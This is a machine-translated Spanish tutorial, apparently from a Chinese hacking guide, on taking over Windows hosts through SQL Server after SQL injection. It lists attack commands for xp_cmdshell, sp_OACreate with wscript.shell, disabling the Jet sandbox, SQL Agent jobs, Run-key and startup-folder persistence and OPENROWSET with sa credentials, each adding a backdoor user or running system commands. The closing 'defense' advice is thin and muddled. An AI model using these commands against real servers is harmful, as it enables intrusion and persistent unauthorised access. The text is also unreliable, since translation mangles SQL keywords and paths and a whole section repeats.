SQL Server es una base de datos ampliamente utilizada por sitios web pequeños y medianos. Debido a sus poderosas funciones, también ha causado muchos problemas de seguridad que han sido populares en China durante mucho tiempo, lo que ha resultado en un flujo interminable de técnicas de intrusión. para SQL ServerDado que SQL Server admite múltiples declaraciones, creo que muchos piratas informáticos rara vez usan métodos como adivinar nombres de tablas al inyectar SQL en SQL Server, pero recurren directamente a los procedimientos y funciones almacenados de SQL Server para obtener permisos rápidamente. Concéntrese en el sistema SQL Server. Procedimientos y funciones almacenados para presentar estos trucos.
1. Ejecutar comandos del sistema
Usando procedimientos almacenados, podemos obtener rápida y fácilmente un shell, como ejecutar comandos del sistema. La llamada a la extensión de almacenamiento es la siguiente:
maestro ejecutivo..xp_cmdshell 'usuario neto ray ray /add'
xp_cmdshell es un procedimiento almacenado de comando del sistema que viene con SQL Server. De forma predeterminada, solo la función del servidor SYSADMIN puede ejecutarlo.
Al utilizar la interfaz de objetos OLE, SQL SERVER proporciona algunas funciones para acceder a objetos OLE, a saber, sp_OACREATE y sp_OAMethod. Puede usarlos para llamar a controles OLE y obtener indirectamente un shell. Utilice SP_OAcreate para llamar al objeto wscript. shell se asigna a la variable @shell y luego usa SP_OAMETHOD para llamar al atributo run de @shell para ejecutar el comando.
DECLARAR @shell INT
EXEC SP_OA crear 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'
Active el modo de espacio aislado de acceso De forma predeterminada, el motor de datos Jet no admite declaraciones SQL como select shell ("net user ray ray /add"). Sin embargo, después de activar el modo espacio aislado del motor JET. ejecutar comandos Primero use El procedimiento almacenado xp_regwrite reescribe el registro, luego usa OpenRowSet para acceder a un archivo de base de datos ACCESS que viene con el sistema y luego ejecuta la instrucción SQL para ejecutar el comando.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWareMicrosoftJet4.0 Engines','SandBoxMode','REG_DWORD',0
Seleccione * Desde OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user ray ray /add")');
Además de estos, también puede usar el Agente SQL para ejecutar comandos. Por supuesto, primero debe abrir el servicio del Agente SQL. Este servicio está cerrado de forma predeterminada. Primero podemos usar xp_servicecontrol para abrir SQLSERVERAGENT y luego crear una tarea programada de SQL. y luego ejecute la tarea inmediatamente.
ejecutivo master.dbo.xp_servicecontrol 'inicio', 'SQLSERVERAGENT'
utilice msdb exec sp_delete_job null,'x'
ejecutivo sp_add_job 'x'
exec sp_add_jobstep Nulo,'x',Nulo,'1','CMDEXEC','cmd /c Dir C:'
exec sp_add_jobserver Nulo, 'x', @@ nombre del servidor exec sp_start_job 'x'
[Cortar-Página]
2. Escriba archivos arbitrarios para ejecutar comandos.
Utilice xp_regwrite para escribir la entrada del registro y escriba directamente el comando que se ejecutará en la entrada de inicio RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Registros de copia de seguridad en elementos de inicio
Podemos habilitar el modo de recuperación completa de una base de datos, luego crear una nueva tabla, insertar el comando del que se realizará la copia de seguridad en el registro y, finalmente, hacer una copia de seguridad del registro en un archivo por lotes en la carpeta de inicio del usuario. Este archivo se ejecutará después. la máquina se reinicia.
alterar la base de datos msdb set RECUPERACIÓN COMPLETA--
crear tabla cmd (una imagen)--
registro de copia de seguridad msdb en disco = 'c:cmd1' con init--
insertar en cmd (a) valores()--
registro de copia de seguridad ISTO en disco = 'C:Documentos y configuracionesTodos los usuariosMenú "Inicio"ProgramasInicio1.bat'--
soltar tabla cmd--
3. Los usuarios con permisos arbitrarios pueden ejecutar comandos.
En una función de servidor con cualquier permiso, podemos usar la macro OPENROWSET para ejecutar comandos siempre que conozcamos la cuenta y la contraseña de la función SYSADMIN del servidor.
seleccione * de OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')
[Cortar-Página]
4. Otra adquisición de información del sistema.
directorio transversal
ejecutivo master.dbo.xp_dirtree 'c:'
Obtener subdirectorio
ejecutivo master.dbo.xp_subdirs 'c:'
Listar las particiones del sistema disponibles
ejecutivo master.dbo.xp_availablemedia
Determinar si existe un directorio o archivo
maestro ejecutivo..xp_fileexist 'c:boot.ini'
5. Hay formas de defenderse de la inyección SQL.
1. Modifique la estructura de la tabla. Modifique el tipo de datos del campo de la cuenta del administrador, cambiando el tipo de texto al campo máximo de 255 (de hecho, si desea hacerlo más grande, puede elegir el tipo de nota), y configure el campo de contraseña de la misma manera.
2. Modifique la tabla. Configure la cuenta con derechos de administrador en ID1 e ingrese una gran cantidad de caracteres chinos, preferiblemente más de 100 caracteres.
3. Coloque la contraseña de administrador real en cualquier posición después de ID2.
Completamos la modificación de la base de datos mediante los tres pasos anteriores.
¿Se completó la modificación en este momento? De hecho, no es el caso. Debe comprender que la cuenta ID1 que creó es en realidad una cuenta con permisos reales. Ahora la velocidad de procesamiento de la computadora es muy rápida. calcularlo, esto no es correcto. Creo que la mayoría de la gente ya ha pensado en una manera. Sí, simplemente escriba el límite de caracteres en el archivo de la página de inicio de sesión del administrador. Incluso si la otra parte usa esta contraseña de cuenta con miles de caracteres, se bloqueará y las contraseñas reales pueden ser. irrestricto.
[Cortar-Página]2. Escriba archivos arbitrarios para ejecutar comandos.
Utilice xp_regwrite para escribir la entrada del registro y escriba directamente el comando que se ejecutará en la entrada de inicio RUN.
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowscurrentversionrun','shell','REG_SZ','C:windowssystem32cmd.exe /c net user ray ray /add'
Registros de copia de seguridad en elementos de inicio
Podemos habilitar el modo de recuperación completa de una base de datos, luego crear una nueva tabla, insertar el comando del que se realizará la copia de seguridad en el registro y, finalmente, hacer una copia de seguridad del registro en un archivo por lotes en la carpeta de inicio del usuario. Este archivo se ejecutará después. la máquina se reinicia.
alterar la base de datos msdb set RECUPERACIÓN COMPLETA--
crear tabla cmd (una imagen)--
registro de copia de seguridad msdb en disco = 'c:cmd1' con init--
insertar en cmd (a) valores()--
registro de copia de seguridad ISTO en disco = 'C:Documentos y configuracionesTodos los usuariosMenú "Inicio"ProgramasInicio1.bat'--
soltar tabla cmd--
3. Los usuarios con permisos arbitrarios pueden ejecutar comandos.
En una función de servidor con cualquier permiso, podemos usar la macro OPENROWSET para ejecutar comandos siempre que conozcamos la cuenta y la contraseña de la función SYSADMIN del servidor.
seleccione * de OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:''')